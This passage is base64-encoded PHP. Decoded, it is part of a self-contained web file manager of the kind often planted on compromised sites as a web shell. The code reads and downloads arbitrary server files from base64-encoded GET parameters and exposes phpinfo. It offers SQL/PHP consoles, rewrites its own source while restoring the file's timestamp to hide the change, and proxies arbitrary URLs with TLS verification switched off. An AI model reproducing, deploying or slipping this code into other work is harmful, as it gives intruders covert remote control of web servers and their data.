LT5jb25uZWN0aW9uKTsKCQkJCQkkc3FsU3RtdCAgICAgID0gJHN0bXQ7CgkJCQkJYnJlYWs7CiAgICAgICAgICAgCSAgICAgfQogICAgICAgICAgIAkgIH0KICAgICAgICAgICB9CmlmIChlbXB0eSgkc3FsRXJyb3JDb2RlKSkgcmV0dXJuIF9fKCdTdWNjZXNzJykuJyDigJQgJy4kc3FsRmlsZVRvRXhlY3V0ZTsKZWxzZSByZXR1cm4gJHNxbEVycm9yVGV4dC4nPGJyLz4nLiRzdG10Owp9CgpmdW5jdGlvbiBmbV9pbWdfbGluaygkZmlsZW5hbWUpewoJcmV0dXJuICcuLycuYmFzZW5hbWUoX19GSUxFX18pLic/aW1nPScuYmFzZTY0X2VuY29kZSgkZmlsZW5hbWUpOwp9CgpmdW5jdGlvbiBmbV9ob21lX3N0eWxlKCl7CglyZXR1cm4gJwppbnB1dCwgaW5wdXQuZm1faW5wdXQgewoJdGV4dC1pbmRlbnQ6IDJweDsKfQoKaW5wdXQsIHRleHRhcmVhLCBzZWxlY3QsIGlucHV0LmZtX2lucHV0IHsKCWNvbG9yOiBibGFjazsKCWZvbnQ6IG5vcm1hbCA4cHQgVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsKCWJvcmRlci1jb2xvcjogYmxhY2s7CgliYWNrZ3JvdW5kLWNvbG9yOiAjRkNGQ0ZDIG5vbmUgIWltcG9ydGFudDsKCWJvcmRlci1yYWRpdXM6IDA7CglwYWRkaW5nOiAycHg7Cn0KCmlucHV0LmZtX2lucHV0IHsKCWJhY2tncm91bmQ6ICNGQ0ZDRkMgbm9uZSAhaW1wb3J0YW50OwoJY3Vyc29yOiBwb2ludGVyOwp9CgouaG9tZSB7CgliYWNrZ3JvdW5kLWltYWdlOiB1cmwoImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBTUFBQUFvTFE5VEFBQUFCR2RCVFVFQUFLL0lOd1dLNlFBQUFnUlFURlJGL2YzOTZPam8vLy8vdFQwMnpyK2Z3NjZSdGo0MzJURXAzTVhFMkRBcjNUWXAxeTRtdER3Mi83Qk0vN0JPcVZwYy84bDMxamNxcTZlbndjSEIyVGdpNWpncVZwYkZ2cmEybkJBVi9QejgyUzBqbngwVzNUVWtxU2dpNGVIaDRUc3JlNHdvc3owMjZ1UGp6R1lkNlVzM3luQXlkVUJBNUtsM2ZtNWVxWmFXN09EZ2kyVmcrUGo0dVkrRXdMbTViWTlVLy83amZMdEMrdE9LM2pjbS83MXUyallvMVVZaDVhSmwvc2VDM2pFbTEya21KcklBMWpNbS85YVU0TGgwZTAxQmxJYUUvLy9kaE1kQzdJQS8vZlRaMmMzTVc2bk4zMHdmOTVWZDRKZFhvWFZvczhuRTRlZk4vKzYzSUpnU25ZaGw3RjRjc1h0ODlHUVV3TCsvamwxYzQxQXErZmIyZ210STFyS2EyQzRrSmFJQTNqWXJsVHc1dGo0MjNqWW4zY1hFMXpRb3hNSEJwMWxaM0RnbXFpa3MvK21jakxLODNqWWt5bU1WM1RZay8vSE0rdTdXaG10cjBvZFRwYU9qZldKZnJIcGcvOEJzLzd0Vy83VmUrNFU1MkRNbTNNTEJuNHFMZ05WTTZNekIzbEVmbEl1TC8rakEvLy8yMExPempYeDgvN2xiV3BKRzJDOGszVG9zSktNQTF5d2pvcE9SMXpZcDVEc3BpYXkreUtOaHFLU2s4Tlc2L2ZqbnM3T3oydG5adXo4ODdiK1czYVJZLyttczRyQ0UzVG90N1Y4NWJLeGp1RUEzdzQ1Vmg1dWhxNmFtNGNGeGdaWlcvOXFJdXdnS3kwc1crdWpUNFRRbnR6NDIzQzhpM3pVai8rS3cvYTVkNlVNeHVMNnd6REVyLy8vL2NxSlFmQUFBQUt4MFVrNVQvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy9BQVdWRmJFQUFBQVpkRVZZZEZOdlpuUjNZWEpsQUVGa2IySmxJRWx0WVdkbFVtVmhaSGx4eVdVOEFBQUEyVWxFUVZRb1UyTllqUVlZc0FpRThVOVl6RFlqVnBHWlJ4TWlFQ2l0TXJWWnZvTXJUbFEyRVNSUUoyRlZ3aW5ZYm1xVFVMb29obkUxZzFhS0dTL2ZOTXRrNDB5WjlLVkxRaGdZa3VZN054UXZYeUhWRk5uS3pSNjlxcHhCUE1lejBFVEFReVRVdlNvZ2FJRmFQY05xVi9NNWRoYTJSbDJUaW1iNlorUUJEWTFYTi9TYnU4eEZMRzNlTERmbDJVQUJqaWxPMW8wMTJaM2VrMWxaVklXQUFtVVRLNkwwczNwWCtqajZwdVoyQXdXVXZCUmFwaHN3TWRVdWpDaXdEd2E1VkVkUEk3eW5VbGM3djFxWVVSTHF1ZjQyaHo0NUNCUER0d0FDcm0rUkRjeEpZQUFBQUFCSlJVNUVya0pnZ2c9PSIpOwoJYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDsKfSc7Cn0KCmZ1bmN0aW9uIGZtX2NvbmZpZ19jaGVja2JveF9yb3coJG5hbWUsJHZhbHVlKSB7CglnbG9iYWwgJGZtX2NvbmZpZzsKCXJldHVybiAnPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IGlkPSJmbV9jb25maWdfJy4kdmFsdWUuJyIgbmFtZT0iZm1fY29uZmlnWycuJHZhbHVlLiddIiB2YWx1ZT0iMSIgJy4oZW1wdHkoJGZtX2NvbmZpZ1skdmFsdWVdKT8nJzonY2hlY2tlZD0idHJ1ZSInKS4nIHR5cGU9ImNoZWNrYm94Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+PGxhYmVsIGZvcj0iZm1fY29uZmlnXycuJHZhbHVlLiciPicuJG5hbWUuJzwvdGQ+PC90cj4nOwp9CgpmdW5jdGlvbiBmbV9wcm90b2NvbCgpIHsKCWlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9TQ0hFTUUnXSkpIHJldHVybiAkX1NFUlZFUlsnSFRUUF9TQ0hFTUUnXS4nOi8vJzsKCWlmIChpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgJF9TRVJWRVJbJ0hUVFBTJ10gPT0gJ29uJykgcmV0dXJuICdodHRwczovLyc7CglpZiAoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pICYmICRfU0VSVkVSWydTRVJWRVJfUE9SVCddID09IDQ0MykgcmV0dXJuICdodHRwczovLyc7CglpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSkgJiYgJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSA9PSAnaHR0cHMnKSByZXR1cm4gJ2h0dHBzOi8vJzsKCXJldHVybiAnaHR0cDovLyc7Cn0KCmZ1bmN0aW9uIGZtX3NpdGVfdXJsKCkgewoJcmV0dXJuIGZtX3Byb3RvY29sKCkuJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwp9CgpmdW5jdGlvbiBmbV91cmwoJGZ1bGw9ZmFsc2UpIHsKCSRob3N0PSRmdWxsP2ZtX3NpdGVfdXJsKCk6Jy4nOwoJcmV0dXJuICRob3N0LicvJy5iYXNlbmFtZShfX0ZJTEVfXyk7Cn0KCmZ1bmN0aW9uIGZtX2hvbWUoJGZ1bGw9ZmFsc2UpewoJcmV0dXJuICcmbmJzcDs8YSBocmVmPSInLmZtX3VybCgkZnVsbCkuJyIgdGl0bGU9IicuX18oJ0hvbWUnKS4nIj48c3BhbiBjbGFzcz0iaG9tZSI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9zcGFuPjwvYT4nOwp9CgpmdW5jdGlvbiBmbV9ydW5faW5wdXQoJGxuZykgewoJZ2xvYmFsICRmbV9jb25maWc7CgkkcmV0dXJuID0gIWVtcHR5KCRmbV9jb25maWdbJ2VuYWJsZV8nLiRsbmcuJ19jb25zb2xlJ10pID8gCgknCgkJCQk8Zm9ybSAgbWV0aG9kPSJwb3N0IiBhY3Rpb249IicuZm1fdXJsKCkuJyIgc3R5bGU9ImRpc3BsYXk6aW5saW5lIj4KCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IicuJGxuZy4ncnVuIiB2YWx1ZT0iJy5zdHJ0b3VwcGVyKCRsbmcpLicgJy5fXygnQ29uc29sZScpLiciPgoJCQkJPC9mb3JtPgonIDogJyc7CglyZXR1cm4gJHJldHVybjsKfQoKZnVuY3Rpb24gZm1fdXJsX3Byb3h5KCRtYXRjaGVzKSB7CgkkbGluayA9IHN0cl9yZXBsYWNlKCcmYW1wOycsJyYnLCRtYXRjaGVzWzJdKTsKCSR1cmwgPSBpc3NldCgkX0dFVFsndXJsJ10pPyRfR0VUWyd1cmwnXTonJzsKCSRwYXJzZV91cmwgPSBwYXJzZV91cmwoJHVybCk7CgkkaG9zdCA9ICRwYXJzZV91cmxbJ3NjaGVtZSddLic6Ly8nLiRwYXJzZV91cmxbJ2hvc3QnXS4nLyc7CglpZiAoc3Vic3RyKCRsaW5rLDAsMik9PScvLycpIHsKCQkkbGluayA9IHN1YnN0cl9yZXBsYWNlKCRsaW5rLGZtX3Byb3RvY29sKCksMCwyKTsKCX0gZWxzZWlmIChzdWJzdHIoJGxpbmssMCwxKT09Jy8nKSB7CgkJJGxpbmsgPSBzdWJzdHJfcmVwbGFjZSgkbGluaywkaG9zdCwwLDEpOwkKCX0gZWxzZWlmIChzdWJzdHIoJGxpbmssMCwyKT09Jy4vJykgewoJCSRsaW5rID0gc3Vic3RyX3JlcGxhY2UoJGxpbmssJGhvc3QsMCwyKTsJCgl9IGVsc2VpZiAoc3Vic3RyKCRsaW5rLDAsNCk9PSdodHRwJykgewoJCS8vYWxsZXMgbWFjaGVuIHd1bmRlcnNjaG9uCgl9IGVsc2UgewoJCSRsaW5rID0gJGhvc3QuJGxpbms7Cgl9IAoJaWYgKCRtYXRjaGVzWzFdPT0naHJlZicgJiYgIXN0cnJpcG9zKCRsaW5rLCAnY3NzJykpIHsKCQkkYmFzZSA9IGZtX3NpdGVfdXJsKCkuJy8nLmJhc2VuYW1lKF9fRklMRV9fKTsKCQkkYmFzZXEgPSAkYmFzZS4nP3Byb3h5PXRydWUmdXJsPSc7CgkJJGxpbmsgPSAkYmFzZXEudXJsZW5jb2RlKCRsaW5rKTsKCX0gZWxzZWlmIChzdHJyaXBvcygkbGluaywgJ2NzcycpKXsKCQkvL9C60LDQui3RgtC+INGC0L7QttC1INC/0L7QtNC80LXQvdGP0YLRjCDQvdCw0LTQvgoJfQoJcmV0dXJuICRtYXRjaGVzWzFdLic9IicuJGxpbmsuJyInOwp9CiAKZnVuY3Rpb24gZm1fdHBsX2Zvcm0oJGxuZ190cGwpIHsKCWdsb2JhbCAkeyRsbmdfdHBsLidfdGVtcGxhdGVzJ307CgkkdHBsX2FyciA9IGpzb25fZGVjb2RlKCR7JGxuZ190cGwuJ190ZW1wbGF0ZXMnfSx0cnVlKTsKCSRzdHIgPSAnJzsKCWZvcmVhY2ggKCR0cGxfYXJyIGFzICRrdHBsPT4kdnRwbCkgewoJCSRzdHIgLj0gJzx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSInLiRsbmdfdHBsLidfbmFtZVtdIiB2YWx1ZT0iJy4ka3RwbC4nIj48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+PHRleHRhcmVhIG5hbWU9IicuJGxuZ190cGwuJ192YWx1ZVtdIiAgY29scz0iNTUiIHJvd3M9IjUiIGNsYXNzPSJ0ZXh0YXJlYV9pbnB1dCI+Jy4kdnRwbC4nPC90ZXh0YXJlYT4gPGlucHV0IG5hbWU9ImRlbF8nLnJhbmQoKS4nIiB0eXBlPSJidXR0b24iIG9uQ2xpY2s9InRoaXMucGFyZW50Tm9kZS5wYXJlbnROb2RlLnJlbW92ZSgpOyIgdmFsdWU9IicuX18oJ0RlbGV0ZScpLiciLz48L3RkPjwvdHI+JzsKCX0KcmV0dXJuICcKPHRhYmxlPgo8dHI+PHRoIGNvbHNwYW49IjIiPicuc3RydG91cHBlcigkbG5nX3RwbCkuJyAnLl9fKCd0ZW1wbGF0ZXMnKS4nICcuZm1fcnVuX2lucHV0KCRsbmdfdHBsKS4nPC90aD48L3RyPgo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgdmFsdWU9IicuJGxuZ190cGwuJyIgbmFtZT0idHBsX2VkaXRlZCI+Cjx0cj48dGQgY2xhc3M9InJvdzEiPicuX18oJ05hbWUnKS4nPC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPicuX18oJ1ZhbHVlJykuJzwvdGQ+PC90cj4KJy4kc3RyLicKPHRyPjx0ZCBjb2xzcGFuPSIyIiBjbGFzcz0icm93MyI+PGlucHV0IG5hbWU9InJlcyIgdHlwZT0iYnV0dG9uIiBvbkNsaWNrPSJkb2N1bWVudC5sb2NhdGlvbi5ocmVmID0gXCcnLmZtX3VybCgpLic/Zm1fc2V0dGluZ3M9dHJ1ZVwnOyIgdmFsdWU9IicuX18oJ1Jlc2V0JykuJyIvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJy5fXygnU2F2ZScpLiciID48L3RkPjwvdHI+CjwvZm9ybT4KPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIHZhbHVlPSInLiRsbmdfdHBsLiciIG5hbWU9InRwbF9lZGl0ZWQiPgo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iJy4kbG5nX3RwbC4nX25ld19uYW1lIiB2YWx1ZT0iIiBwbGFjZWhvbGRlcj0iJy5fXygnTmV3JykuJyAnLl9fKCdOYW1lJykuJyI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPjx0ZXh0YXJlYSBuYW1lPSInLiRsbmdfdHBsLidfbmV3X3ZhbHVlIiAgY29scz0iNTUiIHJvd3M9IjUiIGNsYXNzPSJ0ZXh0YXJlYV9pbnB1dCIgcGxhY2Vob2xkZXI9IicuX18oJ05ldycpLicgJy5fXygnVmFsdWUnKS4nIj48L3RleHRhcmVhPjwvdGQ+PC90cj4KPHRyPjx0ZCBjb2xzcGFuPSIyIiBjbGFzcz0icm93MyI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicuX18oJ0FkZCcpLiciID48L3RkPjwvdHI+CjwvZm9ybT4KPC90YWJsZT4KJzsKfQoKLyogRW5kIEZ1bmN0aW9ucyAqLwoKLy8gYXV0aG9yaXphdGlvbgppZiAoJGF1dGhbJ2F1dGhvcml6ZSddKSB7CglpZiAoaXNzZXQoJF9QT1NUWydsb2dpbiddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3N3b3JkJ10pKXsKCQlpZiAoKCRfUE9TVFsnbG9naW4nXT09JGF1dGhbJ2xvZ2luJ10pICYmICgkX1BPU1RbJ3Bhc3N3b3JkJ109PSRhdXRoWydwYXNzd29yZCddKSkgewoJCQlzZXRjb29raWUoJGF1dGhbJ2Nvb2tpZV9uYW1lJ10sICRhdXRoWydsb2dpbiddLid8Jy5tZDUoJGF1dGhbJ3Bhc3N3b3JkJ10pLCB0aW1lKCkgKyAoODY0MDAgKiAkYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10pKTsKCQkJJF9DT09LSUVbJGF1dGhbJ2Nvb2tpZV9uYW1lJ11dPSRhdXRoWydsb2dpbiddLid8Jy5tZDUoJGF1dGhbJ3Bhc3N3b3JkJ10pOwoJCX0KCX0KCWlmICghaXNzZXQoJF9DT09LSUVbJGF1dGhbJ2Nvb2tpZV9uYW1lJ11dKSBPUiAoJF9DT09LSUVbJGF1dGhbJ2Nvb2tpZV9uYW1lJ11dIT0kYXV0aFsnbG9naW4nXS4nfCcubWQ1KCRhdXRoWydwYXNzd29yZCddKSkpIHsKCQllY2hvICcKPCFkb2N0eXBlIGh0bWw+CjxodG1sPgo8aGVhZD4KPG1ldGEgY2hhcnNldD0idXRmLTgiIC8+CjxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSIgLz4KPHRpdGxlPicuX18oJ0ZpbGUgbWFuYWdlcicpLic8L3RpdGxlPgo8L2hlYWQ+Cjxib2R5Pgo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KJy5fXygnTG9naW4nKS4nIDxpbnB1dCBuYW1lPSJsb2dpbiIgdHlwZT0idGV4dCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7CicuX18oJ1Bhc3N3b3JkJykuJyA8aW5wdXQgbmFtZT0icGFzc3dvcmQiIHR5cGU9InBhc3N3b3JkIj4mbmJzcDsmbmJzcDsmbmJzcDsKPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicuX18oJ0VudGVyJykuJyIgY2xhc3M9ImZtX2lucHV0Ij4KPC9mb3JtPgonLmZtX2xhbmdfZm9ybSgkbGFuZ3VhZ2UpLicKPC9ib2R5Pgo8L2h0bWw+Cic7ICAKZGllKCk7Cgl9CglpZiAoaXNzZXQoJF9QT1NUWydxdWl0J10pKSB7CgkJdW5zZXQoJF9DT09LSUVbJGF1dGhbJ2Nvb2tpZV9uYW1lJ11dKTsKCQlzZXRjb29raWUoJGF1dGhbJ2Nvb2tpZV9uYW1lJ10sICcnLCB0aW1lKCkgLSAoODY0MDAgKiAkYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10pKTsKCQloZWFkZXIoJ0xvY2F0aW9uOiAnLmZtX3NpdGVfdXJsKCkuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pOwoJfQp9CgovLyBDaGFuZ2UgY29uZmlnCmlmIChpc3NldCgkX0dFVFsnZm1fc2V0dGluZ3MnXSkpIHsKCWlmIChpc3NldCgkX0dFVFsnZm1fY29uZmlnX2RlbGV0ZSddKSkgeyAKCQl1bnNldCgkX0NPT0tJRVsnZm1fY29uZmlnJ10pOwoJCXNldGNvb2tpZSgnZm1fY29uZmlnJywgJycsIHRpbWUoKSAtICg4NjQwMCAqICRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkpOwoJCWhlYWRlcignTG9jYXRpb246ICcuZm1fdXJsKCkuJz9mbV9zZXR0aW5ncz10cnVlJyk7CgkJZXhpdCgwKTsKCX0JZWxzZWlmIChpc3NldCgkX1BPU1RbJ2ZtX2NvbmZpZyddKSkgeyAKCQkkZm1fY29uZmlnID0gJF9QT1NUWydmbV9jb25maWcnXTsKCQlzZXRjb29raWUoJ2ZtX2NvbmZpZycsIHNlcmlhbGl6ZSgkZm1fY29uZmlnKSwgdGltZSgpICsgKDg2NDAwICogJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddKSk7CgkJJF9DT09LSUVbJ2ZtX2NvbmZpZyddID0gc2VyaWFsaXplKCRmbV9jb25maWcpOwoJCSRtc2cgPSBfXygnU2V0dGluZ3MnKS4nICcuX18oJ2RvbmUnKTsKCX0JZWxzZWlmIChpc3NldCgkX1BPU1RbJ2ZtX2xvZ2luJ10pKSB7IAoJCWlmIChlbXB0eSgkX1BPU1RbJ2ZtX2xvZ2luJ11bJ2F1dGhvcml6ZSddKSkgJF9QT1NUWydmbV9sb2dpbiddID0gYXJyYXkoJ2F1dGhvcml6ZScgPT4gJzAnKSArICRfUE9TVFsnZm1fbG9naW4nXTsKCQkkZm1fbG9naW4gPSBqc29uX2VuY29kZSgkX1BPU1RbJ2ZtX2xvZ2luJ10pOwoJCSRmZ2MgPSBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXyk7CgkJJHNlYXJjaCA9IHByZWdfbWF0Y2goJyNhdXRob3JpemF0aW9uW1xzXT9cPVtcc10/XCdce1wiKC4qPylcIlx9XCc7IycsICRmZ2MsICRtYXRjaGVzKTsKCQlpZiAoIWVtcHR5KCRtYXRjaGVzWzFdKSkgewoJCQkkZmlsZW10aW1lID0gZmlsZW10aW1lKF9fRklMRV9fKTsKCQkJJHJlcGxhY2UgPSBzdHJfcmVwbGFjZSgneyInLiRtYXRjaGVzWzFdLicifScsJGZtX2xvZ2luLCRmZ2MpOwoJCQlpZiAoZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sICRyZXBsYWNlKSkgewoJCQkJJG1zZyAuPSBfXygnRmlsZSB1cGRhdGVkJyk7CgkJCQlpZiAoJF9QT1NUWydmbV9sb2dpbiddWydsb2dpbiddICE9ICRhdXRoWydsb2dpbiddKSAkbXNnIC49ICcgJy5fXygnTG9naW4nKS4nOiAnLiRfUE9TVFsnZm1fbG9naW4nXVsnbG9naW4nXTsKCQkJCWlmICgkX1BPU1RbJ2ZtX2xvZ2luJ11bJ3Bhc3N3b3JkJ10gIT0gJGF1dGhbJ3Bhc3N3b3JkJ10pICRtc2cgLj0gJyAnLl9fKCdQYXNzd29yZCcpLic6ICcuJF9QT1NUWydmbV9sb2dpbiddWydwYXNzd29yZCddOwoJCQkJJGF1dGggPSAkX1BPU1RbJ2ZtX2xvZ2luJ107CgkJCX0KCQkJZWxzZSAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOwoJCQlpZiAoIWVtcHR5KCRmbV9jb25maWdbJ2ZtX3Jlc3RvcmVfdGltZSddKSkgdG91Y2goX19GSUxFX18sJGZpbGVtdGltZSk7CgkJfQoJfSBlbHNlaWYgKGlzc2V0KCRfUE9TVFsndHBsX2VkaXRlZCddKSkgeyAKCQkkbG5nX3RwbCA9ICRfUE9TVFsndHBsX2VkaXRlZCddOwoJCWlmICghZW1wdHkoJF9QT1NUWyRsbmdfdHBsLidfbmFtZSddKSkgewoJCQkkZm1fcGhwID0ganNvbl9lbmNvZGUoYXJyYXlfY29tYmluZSgkX1BPU1RbJGxuZ190cGwuJ19uYW1lJ10sJF9QT1NUWyRsbmdfdHBsLidfdmFsdWUnXSksSlNPTl9IRVhfQVBPUyk7CgkJfSBlbHNlaWYgKCFlbXB0eSgkX1BPU1RbJGxuZ190cGwuJ19uZXdfbmFtZSddKSkgewoJCQkkZm1fcGhwID0ganNvbl9lbmNvZGUoanNvbl9kZWNvZGUoJHskbG5nX3RwbC4nX3RlbXBsYXRlcyd9LHRydWUpK2FycmF5KCRfUE9TVFskbG5nX3RwbC4nX25ld19uYW1lJ109PiRfUE9TVFskbG5nX3RwbC4nX25ld192YWx1ZSddKSxKU09OX0hFWF9BUE9TKTsKCQl9CgkJaWYgKCFlbXB0eSgkZm1fcGhwKSkgewoJCQkkZmdjID0gZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pOwoJCQkkc2VhcmNoID0gcHJlZ19tYXRjaCgnIycuJGxuZ190cGwuJ190ZW1wbGF0ZXNbXHNdP1w9W1xzXT9cJ1x7XCIoLio/KVwiXH1cJzsjJywgJGZnYywgJG1hdGNoZXMpOwoJCQlpZiAoIWVtcHR5KCRtYXRjaGVzWzFdKSkgewoJCQkJJGZpbGVtdGltZSA9IGZpbGVtdGltZShfX0ZJTEVfXyk7CgkJCQkkcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCd7IicuJG1hdGNoZXNbMV0uJyJ9JywkZm1fcGhwLCRmZ2MpOwoJCQkJaWYgKGZpbGVfcHV0X2NvbnRlbnRzKF9fRklMRV9fLCAkcmVwbGFjZSkpIHsKCQkJCQkkeyRsbmdfdHBsLidfdGVtcGxhdGVzJ30gPSAkZm1fcGhwOwoJCQkJCSRtc2cgLj0gX18oJ0ZpbGUgdXBkYXRlZCcpOwoJCQkJfSBlbHNlICRtc2cgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7CgkJCQlpZiAoIWVtcHR5KCRmbV9jb25maWdbJ2ZtX3Jlc3RvcmVfdGltZSddKSkgdG91Y2goX19GSUxFX18sJGZpbGVtdGltZSk7CgkJCX0JCgkJfSBlbHNlICRtc2cgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7Cgl9Cn0KCi8vIEp1c3Qgc2hvdyBpbWFnZQppZiAoaXNzZXQoJF9HRVRbJ2ltZyddKSkgewoJJGZpbGU9YmFzZTY0X2RlY29kZSgkX0dFVFsnaW1nJ10pOwoJaWYgKCRpbmZvPWdldGltYWdlc2l6ZSgkZmlsZSkpewoJCXN3aXRjaCAgKCRpbmZvWzJdKXsJLy8xPUdJRiwgMj1KUEcsIDM9UE5HLCA0PVNXRiwgNT1QU0QsIDY9Qk1QCgkJCWNhc2UgMTogJGV4dD0nZ2lmJzsgYnJlYWs7CgkJCWNhc2UgMjogJGV4dD0nanBlZyc7IGJyZWFrOwoJCQljYXNlIDM6ICRleHQ9J3BuZyc7IGJyZWFrOwoJCQljYXNlIDY6ICRleHQ9J2JtcCc7IGJyZWFrOwoJCQlkZWZhdWx0OiBkaWUoKTsKCQl9CgkJaGVhZGVyKCJDb250ZW50LXR5cGU6IGltYWdlLyRleHQiKTsKCQllY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKTsKCQlkaWUoKTsKCX0KfQoKLy8gSnVzdCBkb3dubG9hZCBmaWxlCmlmIChpc3NldCgkX0dFVFsnZG93bmxvYWQnXSkpIHsKCSRmaWxlPWJhc2U2NF9kZWNvZGUoJF9HRVRbJ2Rvd25sb2FkJ10pOwoJZm1fZG93bmxvYWQoJGZpbGUpOwkKfQoKLy8gSnVzdCBzaG93IGluZm8KaWYgKGlzc2V0KCRfR0VUWydwaHBpbmZvJ10pKSB7CglwaHBpbmZvKCk7IAoJZGllKCk7Cn0KCi8vIE1pbmkgcHJveHksIG1hbnkgYnVncyEKaWYgKGlzc2V0KCRfR0VUWydwcm94eSddKSAmJiAoIWVtcHR5KCRmbV9jb25maWdbJ2VuYWJsZV9wcm94eSddKSkpIHsKCSR1cmwgPSBpc3NldCgkX0dFVFsndXJsJ10pP3VybGRlY29kZSgkX0dFVFsndXJsJ10pOicnOwoJJHByb3h5X2Zvcm0gPSAnCjxkaXYgc3R5bGU9InBvc2l0aW9uOnJlbGF0aXZlO3otaW5kZXg6MTAwNTAwO2JhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCh0byBib3R0b20sICNlNGY1ZmMgMCUsI2JmZThmOSA1MCUsIzlmZDhlZiA1MSUsIzJhYjBlZCAxMDAlKTsiPgoJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iR0VUIj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InByb3h5IiB2YWx1ZT0idHJ1ZSI+CgknLmZtX2hvbWUoKS4nIDxhIGhyZWY9IicuJHVybC4nIiB0YXJnZXQ9Il9ibGFuayI+VXJsPC9hPjogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVybCIgdmFsdWU9IicuJHVybC4nIiBzaXplPSI1NSI+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJy5fXygnU2hvdycpLiciIGNsYXNzPSJmbV9pbnB1dCI+Cgk8L2Zvcm0+CjwvZGl2PgonOwoJaWYgKCR1cmwpIHsKCQkkY2ggPSBjdXJsX2luaXQoJHVybCk7CgkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJ0RlbjF4eHggdGVzdCBwcm94eScpOwoJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7CgkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULDApOwoJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwwKTsKCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsKCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVGRVJFUiwgJHVybCk7CgkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUpOwoJCSRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTsKCQljdXJsX2Nsb3NlKCRjaCk7CgkJLy8kcmVzdWx0ID0gcHJlZ19yZXBsYWNlKCcjKHNyYyk9WyJcJ11baHR0cDovL10/KFteOl0qKVsiXCddI1VpJywgJ1xcMT0iJy4kdXJsLicvXFwyIicsICRyZXN1bHQpOwoJCSRyZXN1bHQgPSBwcmVnX3JlcGxhY2VfY2FsbGJhY2soJyMoaHJlZnxzcmMpPVsiXCddW2h0dHA6Ly9dPyhbXjpdKilbIlwnXSNVaScsICdmbV91cmxfcHJveHknLCAkcmVzdWx0KTsKCQkkcmVzdWx0ID0gcHJlZ19yZXBsYWNlKCclKDxib2R5Lio/PiklaScsICckMScuJzxzdHlsZT4nLmZtX2hvbWVfc3R5bGUoKS4nPC9zdHlsZT4nLiRwcm94eV9mb3JtLCAkcmVzdWx0KTsKCQllY2hvICRyZXN1bHQ7CgkJZGllKCk7Cgl9IAp9Cj8+